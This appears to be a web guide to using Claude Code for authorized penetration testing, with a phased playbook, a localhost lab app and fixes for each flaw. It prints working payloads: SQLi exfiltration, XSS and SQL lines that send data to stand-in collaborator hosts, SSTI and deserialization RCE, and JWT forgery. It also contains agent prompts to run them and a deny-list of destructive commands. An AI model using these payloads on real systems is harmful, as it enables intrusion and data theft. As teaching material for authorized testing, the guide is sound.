An agentic coding CLI turns out to be a strong security copilot: it drives your scanners, reads source the way a reviewer does, writes proof-of-concept exploits, and drafts the report — all under a permission model you control. This is a field guide plus a seven-phase playbook for using it on engagements you are authorized to run.
/security-reviewStrip away the "coding assistant" framing and Claude Code is a terminal agent: a model that can read files, run shell commands, search the web, edit code, and loop on the output of its own actions. That loop — observe, decide, run a tool, read the result, decide again — is exactly the shape of a penetration test. The difference from a human tester is throughput and recall; the difference from a scanner is judgment.
Three of its native abilities map directly onto offensive work:
nmap,
ffuf, nuclei, sqlmap, gobuster, and hundreds
of others, then turn a wall of noisy text into a prioritized table — the tedious middle of most
engagements.What keeps it safe to point at real systems is that every risky action runs through a permission layer you configure. Nothing touches a host without either your standing allow-list or an explicit approval. That layer is the whole reason this is usable on an engagement rather than a liability.
Suitability varies a lot by phase. The honest picture — strongest at reading code and writing reports, deliberately weakest at anything resembling autonomous, destructive, or out-of-scope action:
| Task | Fit | Why |
|---|---|---|
| Code & vuln analysis | Very high | Reading a tree and reasoning source → sink is its core competency; catches logic bugs scanners miss. |
| Reporting | Very high | Consistent findings, CVSS, repro steps, remediation. The biggest raw time-saver of the whole engagement. |
| Passive recon | High | Orchestrates OSINT tools, dedupes, resolves, fingerprints, and summarizes an attack surface. |
| Active scanning | High | Drives scanners and, crucially, triages their output into what's worth a human's time. |
| Exploitation | Medium | Great at single-step PoCs; multi-stage chains still need a human to steer. Verify every claim. |
| Scoping & ROE | Medium | Reads and enforces a scope doc well, but authorization and boundaries are your responsibility. |
| Post-exploitation | Low–med | Intentionally constrained — it resists mass, persistent, or destructive actions by design. |
Rule of thumb: lean on it hardest for the reading and writing halves of the job (analysis, triage, reporting) and keep a firm hand on the acting half (exploitation, anything that changes state on a target).
A pentest is a pipeline. Below is the same pipeline with Claude Code slotted into each stage — its job, the tools it drives, and a copy-paste prompt to start from. Click a phase.
Goal: make the assistant scope-aware before a single tool runs.
Put the rules of engagement where Claude reads them every session — a SCOPE.md or
the project's CLAUDE.md. Then harden the permission layer so out-of-scope or
destructive commands can't run even by accident (see §3). The model should be able to recite
the in-scope ranges and refuse anything outside them.
Rules of engagement for this session (also in SCOPE.md): - In scope: *.acme-lab.example and 10.10.0.0/24 - Out of scope: everything else, especially prod-pay.acme.example - No denial-of-service, no destructive writes, no data exfiltration beyond the minimum needed to prove a finding. Before running anything, confirm the target is in scope. If a task would touch anything out of scope, refuse and tell me why.
A working context that self-checks scope, plus a paper trail: ask it to keep an engagement
log (notes.md) of every command it runs and why. That log becomes your reporting
appendix and your evidence of staying in bounds.
Goal: map the attack surface without hammering the target.
Claude chains passive OSINT tools and collapses the output into one deduplicated picture: subdomains, live hosts, technologies, and anything interesting leaking in public.
subfinder, amass (passive), certificate transparency via crt.sh.dnsx, httpx (-title -tech-detect -status-code), gowitness for screenshots.gitleaks/trufflehog over cloned public repos; GitHub dorking via web search.We're authorized to test acme-lab.example (scope in SCOPE.md). Do PASSIVE recon only: enumerate subdomains with subfinder + amass passive sources, pull crt.sh, resolve live hosts with dnsx, then fingerprint with httpx (-title -tech-detect -status-code). Give me a deduped table of live hosts sorted by how interesting the tech stack is. Don't run active scanners yet.
Goal: active discovery of services, endpoints, and parameters — and triage.
This is where Claude's parsing shines. Scanners emit walls of text; the model turns them into a ranked worklist and cross-references versions against known CVEs.
nmap -sV -sC, parse the XML into a table.ffuf/gobuster for directories, arjun for hidden parameters, API spec parsing.nuclei against the live set, then de-duplicate and prioritize.# Claude proposes, you approve, it runs and parses: nmap -sV -sC -oX scan.xml -iL hosts.txt --top-ports 1000 nuclei -l live.txt -severity medium,high,critical -o nuclei.txt
Run an nmap service/version scan on hosts.txt (top 1000 ports), parse scan.xml, and give me a table of open services with version -> any known CVEs (search to confirm the version is actually affected, don't guess). Flag anything unauthenticated or clearly outdated for follow-up.
Goal: turn surface into concrete, ranked hypotheses. This is the model's best phase.
If you have source (white-box, or you pulled it), point Claude at the tree and let it read.
It traces tainted input from every HTTP handler to dangerous sinks — SQL, shell, file paths,
templates, deserialization — and reasons about auth and access-control logic that signature
scanners walk right past. Pair it with semgrep, trivy, and a dependency
audit so the deterministic tools catch the known patterns and the model catches the logic.
This is the source for the in-scope app. Act as an application-security reviewer. Trace user input from the HTTP handlers to any sink (SQL, shell, file path, template render, deserialization). List candidate issues with file:line, the tainted variable, the path from source to sink, and why it might be exploitable. Rank by confidence. Then run semgrep and reconcile its hits with yours.
Black-box? Same idea against behavior instead of code: feed it responses, headers, and error messages and ask it to hypothesize where auth, IDOR, or injection likely live, then design the tests to confirm.
Goal: prove impact with the smallest possible demonstration — then stop.
Claude writes the proof-of-concept and iterates it against a target you control: a Python
requests script, a curl chain, a crafted payload. Confirm SQLi with
sqlmap; replay and mutate requests through the Burp Suite MCP server so the
model can drive an intercepting proxy directly. The discipline that matters here is
minimalism: prove access, capture evidence, do not escalate for its own sake.
/api/orders looks vulnerable to IDOR -- order_id isn't scoped to the session user. Write a minimal Python PoC (requests) that logs in as our test user A and reads test user B's order, printing only enough to prove cross-account access. Read-only, non-destructive, stop at proof. Save the request/response as evidence for the report.
Goal: demonstrate business impact within the rules of engagement — nothing more.
Show the one pivot that proves why the finding matters — the privilege you gained, the data class you could reach — and collect evidence. This is deliberately the phase Claude is least eager to help with: it resists persistence, backdoors, mass credential harvesting, exfiltration, and detection-evasion, because those are the hallmarks of the malicious use it's built to refuse. For authorized work you generally don't want them either — a single clean impact demonstration beats a rampage through the environment, and keeps you inside scope.
We proved admin access on the staging box (in scope, per SCOPE.md). Help me document the impact WITHOUT persistence or lateral spread: enumerate what this role can reach, identify the single most business-critical asset it exposes, and capture proof for the report. No new accounts, no backdoors, no data pulled beyond a redacted screenshot.
Goal: turn a messy session into a client-ready deliverable. The other very-high-fit phase.
Hand Claude your notes and evidence; it produces structured findings — title, CVSS 3.1 vector and score, affected asset, numbered reproduction, evidence reference, business impact, and a code-level remediation — deduplicated and sorted by severity. What used to be an evening of copy-paste becomes a draft you edit. Keep a human in the loop on severity calls and on any claim that reaches the executive summary.
Turn the confirmed findings in notes.md into a client report. For each: title, CVSS 3.1 vector + score, affected asset, step-by-step reproduction, evidence reference, business impact, and a remediation with a concrete code-level fix. Merge duplicates, sort by severity, and open with a two-paragraph executive summary a non-technical reader can follow. Markdown.
Each phase's prompt assumes the scope from Phase 0 is loaded. The value compounds: by Phase 6 the model already holds the whole engagement in context, so the report writes itself from what it did rather than from what you re-explain.
This is the applied core: the vulnerability classes that actually get web apps popped, each with
how you get Claude Code to find it, how you exploit it, the payloads that prove it,
and the fix. The workflow underneath all of them is the same — proxy the app's traffic
through Burp (via its MCP server) or a local mitmproxy, and let Claude read, mutate,
and replay requests while reasoning about the responses. It's a tester who never gets bored of the
2,000th request.
Host: line. Claude's job is to enumerate those inputs, form a hypothesis about how
each is used server-side, and craft the one payload that confirms it. Yours is to point it at a
target you're allowed to break and to verify every hit by hand.User input reaches a SQL query unescaped — read/modify the whole database, bypass login, sometimes execute OS commands.
Grep the backend for string-built SQL (f-strings, concatenation, .format into a query, raw exec). For every hit, show file:line, the tainted param, and the route that reaches it. Then, for each GET/POST param in requests.txt, test error/boolean/time-based SQLi and tell me which respond.
# auth bypass ' OR '1'='1' -- # column count + data exfil ' ORDER BY 5-- - # find column count ' UNION SELECT null,username,password,null,null FROM users-- - # boolean-blind (compare true vs false response) ' AND 1=1-- - vs ' AND 1=2-- - # time-blind (5s delay == injectable) ' OR SLEEP(5)-- - # MySQL '; WAITFOR DELAY '0:0:5'-- # MSSQL
sqlmap -u "https://t/item?id=1" --batch --dbs --risk 2 --level 3 # Claude reads sqlmap's dump, pulls the hashes, and hands them # to hashcat, then explains which accounts cracked.
Fix: parameterized queries / prepared statements; least-privilege DB user; never concatenate input into SQL.
Your markup executes in a victim's browser — steal sessions, keylog, pivot to full account takeover. Reflected (in the response), stored (persisted), or DOM (client-side sink).
Grep the frontend for DOM sinks: innerHTML, outerHTML, document.write, insertAdjacentHTML, dangerouslySetInnerHTML, eval, and jQuery .html(). Trace which read from location.hash/search, postMessage, or server data. Separately, reflect a canary (zqxj) through every input and report where it lands unencoded in the HTML, an attribute, or a script context.
# HTML body <script>alert(document.domain)</script> # breaks out of an attribute "><img src=x onerror=alert(1)> # javascript: URI sink (href/src) javascript:alert(1) # session-steal PoC (authorized lab, your collaborator host) <img src=x onerror="new Image().src='//COLLAB/?c='+document.cookie">
Claude fingerprints the app's encoding/filter, then mutates the payload until one survives
(case-swap, event-handler variants, HTML-entity or unicode escapes, breaking the parser with
<svg>/<math>).
Fix: contextual output encoding, framework auto-escaping, a strict Content-Security-Policy,
HttpOnly cookies so script can't read them.
The single most common serious web bug: the server trusts the client about who or what you may access. Read other users' data, escalate to admin, invoke actions not meant for you.
/api/orders/1001 → 1002), swap UUIDs, try another tenant's ID./admin, /api/internal/* directly as a low-priv user.DELETE that works as POST with X-HTTP-Method-Override."role":"admin" or "isVerified":true to the JSON body.Log in as low-priv user A (creds in env). For every object-referencing endpoint in the OpenAPI spec, replay it substituting user B's IDs and also with no auth header. Diff the responses and flag any that return B's data or a 200 where you'd expect 403. Then retry each write with an extra "role":"admin" field and report which are honored.
Fix: enforce authorization server-side on every object, per request; deny by default; never derive identity from a client-supplied ID.
Weak login, tokens, or resets. JWT confusion, crackable secrets, predictable reset links, no rate limiting, OAuth redirect abuse.
# decode, then try alg:none (drop the signature) header={"alg":"none","typ":"JWT"} payload={"user":"admin"} sig=(empty) # or brute a weak HS256 secret hashcat -m 16500 jwt.txt rockyou.txt # then re-sign with the cracked key and set role=admin
Other angles Claude scripts (against an authorized lab): credential stuffing with a wordlist where there's no lockout, enumerating valid users from differing error messages/timing, brute-forcing 6-digit reset codes with no rate limit, and testing whether a password-reset token is time- or counter-predictable.
Fix: pin the JWT algorithm to an allowlist and verify it; long random secrets; rate limiting + lockout; constant-time comparisons; single-use, high-entropy, expiring reset tokens.
Make the server fetch a URL you choose — reach internal services, and on cloud hosts, steal instance credentials from the metadata endpoint.
# any param that fetches a URL: webhooks, image/PDF proxies, "import from URL" http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS http://metadata.google.internal/computeMetadata/v1/ # GCP (needs header) http://localhost:6379/ # internal Redis, etc. # filter bypasses http://0x7f000001/ http://2130706433/ http://[::1]/ http://127.0.0.1.nip.io/
Find every parameter that causes the server to make an outbound request. For each, test the cloud metadata IP and localhost with the bypasses above, watching response time and body for a difference. If AWS metadata responds, pull the IAM role creds -- read-only, capture as evidence, do not use them.
Fix: allowlist outbound hosts, block link-local/private ranges, require IMDSv2, never fetch a raw user-supplied URL.
Both end in remote code execution. SSTI: input rendered as a server template. Command injection: input reaches a shell.
# probe: does 49 come back? ${7*7} {{7*7}} <%= 7*7 %> #{7*7} # Jinja2 (Python) RCE gadget once confirmed {{ cycler.__init__.__globals__.os.popen('id').read() }}
; id | id $(id) `id` && id
# blind: confirm via delay or out-of-band DNS
; sleep 5 ; nslookup $(whoami).COLLABClaude fingerprints the template engine from how the 7*7 probe behaves, then
builds the engine-specific gadget; for cmdi it greps for os.system,
subprocess(..., shell=True), child_process.exec, backticks, and traces
input to them, then crafts a filter bypass ($IFS, quotes, encoding).
Fix: never render user input as a template; sandbox engines; avoid the shell entirely, pass arguments as an array, allowlist values.
Read files outside the intended directory, include local files, or upload a shell.
# traversal / LFI ../../../../etc/passwd ..%2f..%2f..%2fetc%2fpasswd php://filter/convert.base64-encode/resource=index.php # leak source # upload bypasses to drop a webshell shell.php.jpg shell.phtml Content-Type: image/png (spoofed) # LFI -> RCE via log poisoning: put PHP in User-Agent, include the log
Claude finds file/path params, fuzzes traversal depth with ffuf, and chains LFI to
RCE (log poisoning, php:// wrappers, session files).
Fix: canonicalize and allowlist paths, store uploads outside the webroot, validate type by content not extension, randomize stored filenames.
XML parsers that resolve external entities leak files and enable SSRF; deserializing untrusted data hands over code execution through gadget chains.
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
# blind: point SYSTEM at an external DTD on your COLLAB host for OOB exfil# spot the format by magic bytes: rO0AB... = Java, O:8 = PHP, gASV = pickle java -jar ysoserial.jar CommonsCollections1 'id' | base64 # drop that into the cookie/param that gets deserialized
Claude recognizes serialized blobs by their magic bytes, picks a gadget chain that fits the libraries on the classpath, and builds the payload.
Fix: disable DTDs/external entities; don't deserialize untrusted data — or restrict to signed, allowlisted types.
The bugs scanners miss because they require understanding what the app means. Claude is unusually good here because it reasons about intent, not just syntax.
SameSite cookie —
Claude generates an auto-submitting PoC page.Read the checkout and wallet flows. List every invariant the server assumes the client will respect (price >= 0, coupon used once, balance checked before debit). For each, design the request sequence that violates it, and write a script that sends 20 concurrent debit requests to test for a double-spend race.
Fix: anti-CSRF tokens + SameSite; validate every invariant server-side;
atomic, locked, idempotent operations for anything touching money or stock.
Often the fastest path in — nobody had to be tricked, something was just left open.
.git/: reconstruct the whole source with git-dumper, then read it for more bugs..env / backups: ffuf for .env, .bak, config.php~, db.sql.Access-Control-Allow-Origin reflecting any origin with credentials.Fuzz each host for .git/HEAD, .env, .DS_Store, backup and archive files. If .git is exposed, dump and reconstruct the source, then scan it for secrets and hardcoded credentials. Test CORS by sending Origin: evil.example and reporting any ACAO reflection with Allow-Credentials: true.
Fix: keep VCS metadata, dotfiles, and backups out of the webroot; lock down bucket ACLs; strict CORS allowlist; rotate any leaked secret; disable verbose errors in prod.
None of these are novel — they're the OWASP staples, which is the point: the value Claude adds isn't inventing exploits, it's covering the entire surface fast and never skipping the tedious check that turns out to matter.
Reading about payloads only gets you so far — you need something to break. This report ships a
runnable one. VulnShop is a ~150-line Flask app in lab/vulnshop.py that wires up
every class in the field manual as a real, exploitable endpoint. It binds to 127.0.0.1,
so the target is a machine you own and testing it is authorized by definition.
pip install flask python3 lab/vulnshop.py # serving http://127.0.0.1:5000/ -- open it for the endpoint index # then point Claude Code at the target (proxied through Burp/mitmproxy)
lab/ folder, give it
the §2 Phase-0 scope prompt (in scope: 127.0.0.1:5000), and walk the field manual top
to bottom — /search, then /login, then /api/orders, and so on.
Because the source is right there, try it both black-box (only the running app) and white-box (let it
read vulnshop.py first) and watch how much faster the white-box pass is.Every payload below is one that was run against the shipped app; the "What you get" column is the actual response.
| Class | Endpoint | Payload | What you get |
|---|---|---|---|
| 1 SQLi (exfil) | GET /search?q= | x' UNION SELECT username,password FROM users-- - | admin:S3cur3P@ss!, alice:alice123, bob:hunter2 |
| 1 SQLi (bypass) | POST /login | username=admin' -- | logged in as admin; a JWT cookie is issued |
| 2 Reflected XSS | GET /search?q= | <script>alert(1)</script> | reflected unencoded — script runs |
| 2 Stored XSS | POST /reviews | comment=<script>steal()</script> | persisted; fires for every visitor |
| 3 IDOR | GET /api/orders/1003 | (no auth header) | the admin's $500 order, unauthenticated |
| 4 JWT forge | GET /admin | cookie token = {"alg":"none"}, role=admin | Admin panel — flag{jwt_forged_or_cracked} |
| 5 SSRF | GET /avatar?url= | http://127.0.0.1:5000/internal/creds | AccessKeyId: AKIAFAKE from an "internal-only" route |
| 6 SSTI → RCE | GET /greet?name= | {{7*7}} then a Jinja2 os.popen('id') gadget | 49, then live command output |
| 6 Cmd injection | GET /ping?host= | 127.0.0.1;id | uid=501(…) gid=20(staff)… |
| 7 Path traversal | GET /download?file= | ../flag.txt | flag{path_traversal_ok} — outside the files dir |
| 8 Deserialization | GET /prefs | a prefs cookie = base64 pickle with __reduce__ | arbitrary command executes on load |
| 9 Mass assignment | POST /profile | role=admin | your own account is promoted to admin |
| 10 Exposed secrets | GET /.env | (just request it) | JWT_SECRET=s3cr3t, DB and AWS keys |
Notice class 10 feeds class 4: the leaked JWT_SECRET=s3cr3t is exactly the key you
need to forge the admin token by signature instead of the alg:none trick. That's the
point of doing them in one sitting — findings compose.
The real lesson is the handoffs. Here each finding feeds the next, the way an actual session runs:
[recon] read vulnshop.py: /search concat SQL, /avatar fetches any url, /greet renders a template, /.env is served, JWT secret is weak [sqli] /search?q=x' UNION SELECT username,password FROM users-- - -> admin:S3cur3P@ss! alice:alice123 bob:hunter2 [secret] GET /.env -> JWT_SECRET=s3cr3t (or forge with alg:none) [authz] signed JWT {role:admin} -> GET /admin -> flag{jwt_forged...} [ssrf] /avatar?url=http://127.0.0.1:5000/internal/creds -> AKIAFAKE [rce] /greet?name={{ cycler.__init__.__globals__.os.popen('id')... }} -> uid=501(...) gid=20(staff) # code execution [report] Claude writes all findings up with CVSS, repro, and fixes
Reading vulnshop.py first meant Claude knew which parameters to hit, so it never
fuzzed blind; it spotted the SSRF and SSTI in the same pass it found the SQLi, because reading-for-bugs
is one pass, not three. A human does all of this too — just not in one uninterrupted afternoon, and
not while keeping the report current at the same time.
VulnShop was localhost with the source in your hand. The next rung is a real, hosted app you're authorized to test — a PortSwigger Web Security Academy lab, a hosted Juice Shop, a Hack The Box / TryHackMe box, or an in-scope bug-bounty asset. The vulnerability classes are the same five (1 SQLi, 2 XSS, 3 access control, 4 auth/JWT, 6 SSTI/RCE), but they show up in their blind, filtered, and hardened forms. What changes is discipline more than technique.
| Dimension | VulnShop (localhost) | Deployed lab / in-scope target |
|---|---|---|
| Source | full white-box, read the code | black-box — infer behavior from responses |
| Feedback | instant, verbose errors | silent, blind, rate-limited, maybe a WAF |
| Exfil | data right in the response | often out-of-band (OAST callback) |
| Verify | re-read the code | behavioral only — higher false-positive risk |
| Blast radius | none | real infra: throttle, never DoS, capture evidence |
The two pieces of kit that make this work: put a proxy in the middle (Burp Suite via its MCP
server, or mitmproxy) so Claude reads, mutates, and replays the real browser traffic; and
stand up an OAST endpoint (Burp Collaborator or interactsh) so blind bugs have somewhere
to phone home. Then work the five classes in their advanced forms.
Hosted apps rarely echo SQL errors, so the UNION trick from VulnShop won't show anything. You extract data one inference at a time, or force the database itself to call home.
# boolean-blind: true vs false changes the page, 1 bit per request ' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'-- - # time-blind: a 5s delay means "true" ' AND IF(1=1,SLEEP(5),0)-- - # out-of-band (OAST): DB makes a DNS/HTTP callback carrying the data '; exec master..xp_dirtree '//'+(SELECT TOP 1 pw FROM users)+'.oast.example/'--
The id param at /product?id= is blind SQLi (page differs on ' AND 1=1 vs 1=2). Write an extraction oracle that binary-searches each character of the current DB user, one request at a time, with a 300ms delay between requests. If that's too slow, switch to an OOB payload against my Collaborator domain instead.
Or hand it to sqlmap -u "...?id=1" --technique=BT --dbms=... --level 4 and let Claude
interpret the dump. Fix: parameterized queries, as always.
Framework-built apps auto-escape server-side, so the bug moves into the JavaScript and behind a Content-Security-Policy.
location.hash, postMessage, document.referrer)
flows to a sink (innerHTML, eval, setAttribute) entirely in the
browser. Claude fetches and beautifies the minified bundle and traces source → sink.unsafe-eval,
a missing base-uri). Claude reads the CSP header and tells you which payload survives it.Fetch this app's JS bundles, beautify them, and map every DOM source (location.*, postMessage, referrer) to every sink (innerHTML, eval, document.write). Flag the attacker-controllable paths. Then read the CSP response header and tell me whether any XSS payload survives it, and how.
Fix: safe DOM APIs (textContent), a strict CSP with no unsafe-*,
trusted-types.
The obvious incrementing-ID IDOR is usually patched on a mature app. The surviving bugs are subtler, and this is exactly where Claude's ability to model a whole flow across many requests pays off.
Referer.Referer or X-Forwarded-For
you fully control.Crawl the app as low-priv user A and map every multi-step flow (checkout, account, admin wizards). For each object reference, tell me where the ID comes from and whether authorization is re-checked at EVERY step, not just the first. Then propose the exact request sequence that reaches user B's data.
Fix: re-authorize every object on every request and every step; deny by default.
VulnShop fell to alg:none; a hardened app needs sharper tricks.
jwk/jku/kid injection: smuggle your own key in the header, point
jku at a JWKS you host, or abuse kid with path traversal / SQLi to a key you control.hashcat -m 16500 jwt.txt rockyou.txt.jwt_tool eyJ... -X k # key-confusion attack (needs the public key) jwt_tool eyJ... -X i -pk pubkey.pem # jwk header injection
Decode this JWT and its headers. Tell me which forgery class the server is likely vulnerable to (alg:none, RS256->HS256 confusion, jwk/jku/kid injection, or a crackable secret), then drive jwt_tool to produce a token with role=admin and confirm it against /admin.
Fix: pin the algorithm, verify against a fixed key, ignore attacker-supplied
jwk/jku/kid, use a long random secret.
Deployed apps hide which template engine they use and often sandbox it, so you fingerprint first, then reach for the escape documented for that engine.
# narrow the engine by which probe evaluates {{7*7}} -> 49 : Jinja2 / Twig ${7*7} -> 49 : Freemarker / Velocity {{7*'7'}} -> 7777777 : Jinja2 #{7*7} -> 49 : Ruby ERB-ish # then the engine-specific RCE gadget, e.g. Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
The name field renders server-side. Run the SSTI fingerprint probes and tell me the engine from the responses. Then give me the documented sandbox-escape gadget for that engine to run `id`. If nothing reflects, it may be blind -- switch to a gadget that makes an HTTP callback to my Collaborator domain to confirm RCE.
Fix: never render user input as a template; use a logic-less engine; sandbox and patch it.
Off localhost you can't re-read the source to confirm a hit, and blind results lie: a WAF delay or a flaky endpoint can look exactly like time-based SQLi. So make Claude try to disprove its own findings before you believe them — the find-then-refute pattern from the advanced menu:
For each candidate finding, act as a skeptic: re-run it 5x, control for network latency (compare against a benign request of similar size), and for anything "blind" require that the OOB callback actually landed in the interaction log. Report only the findings that survive, with the evidence that convinced you.
Running the refutation as a separate subagent (or a parallel pass) is even better — a fresh context isn't invested in the original claim, so it's a harsher critic.
Good places to practice, all authorized: the PortSwigger Web Security Academy (free, mapped to exactly these classes), OWASP Juice Shop, Hack The Box, TryHackMe, and — once you're fluent — a bug-bounty program on HackerOne, Bugcrowd, or Intigriti, tested strictly within its scope.
Four pieces of configuration turn the generic CLI into a purpose-built, guard-railed pentest rig.
Claude Code gates tool use through modes you switch between: default (prompts before each
new command), plan mode (reads and reasons, runs nothing — ideal for the analysis phase),
and accept-edits for trusted loops. There is also a bypass mode
(--dangerously-skip-permissions); on live targets, don't — the prompts are the
seatbelt. Encode standing rules in .claude/settings.json:
{
"permissions": {
"allow": [
"Bash(nmap:*)", "Bash(httpx:*)", "Bash(nuclei:*)",
"Bash(ffuf:*)", "Bash(subfinder:*)"
],
"deny": [
"Bash(rm:*)", "Bash(dd:*)", "Bash(curl:* prod-pay.acme.example*)",
"Read(./client-data/**)"
]
}
}Allow-list the recon tooling so it runs without friction; deny-list destructive commands and out-of-scope hosts so they can't run at all. The deny list wins over the allow list.
Drop a Markdown file in .claude/commands/ and it becomes a reusable
/command. Bake your recon flow in once:
# Passive recon on $ARGUMENTS, honoring SCOPE.md. # Enumerate subdomains, resolve live hosts, fingerprint, # and output a deduped table. Passive sources only.
Now /recon acme-lab.example runs the whole Phase 1 flow. Do the same for
enumeration, analysis, and reporting to standardize an engagement across a team.
Define a specialized subagent in .claude/agents/ — say an
appsec-reviewer that only reads code and reports findings — and the main agent
delegates the Phase 3 sweep to it, keeping analysis isolated from anything that acts. Connect
tools over MCP (claude mcp add …): PortSwigger ships a Burp Suite MCP
server, so Claude can drive an intercepting proxy; you can wire in your own scanners or a findings
database the same way.
/security-reviewThe same engine plays defense. Claude Code ships a /security-review command that
audits your own pending diff for injection, auth, secrets, and crypto mistakes; Anthropic
open-sourced the equivalent GitHub Action so it runs on every pull request. The cheapest
pentest finding is the one caught before it ever ships — run the offensive playbook against
staging and this against the codebase, and the two halves close the loop.
Claude Code is deliberately dual-use-aware. It assists authorized penetration testing, CTF challenges, security research, and defensive work. It refuses the things that characterize malicious intent regardless of how they're framed:
| Supported (with authorization context) | Refused |
|---|---|
| Scanning, enumeration, PoC exploits on in-scope targets | Attacks on systems you can't show authorization for |
| Reading code to find and fix vulnerabilities | Denial-of-service and destructive payloads |
| Writing and explaining exploit techniques for a lab/CTF | Mass-targeting, worms, and self-propagating code |
| Drafting findings, remediation, detections | Ransomware, credential harvesting, supply-chain implants |
| Building dual-use tooling for a stated engagement | Detection-evasion / anti-forensics for malicious ends |
The practical consequence: give it the context it needs to help you legitimately. State the engagement, point at the scope doc, and it engages as a copilot. Ask for something that looks like real-world harm with no authorization and it declines. That boundary is a feature — it's what lets the tool exist in this space at all — but it is not your compliance program. Scope, authorization, and the law are still yours to get right.
Before you start an engagement. Tap to tick off — kept in your browser only.
SCOPE.md / CLAUDE.md.settings.json allow-lists recon tools, deny-lists destructive commands and out-of-scope hosts.--dangerously-skip-permissions on anything you don't own./security-review or the CI action running on the codebase too.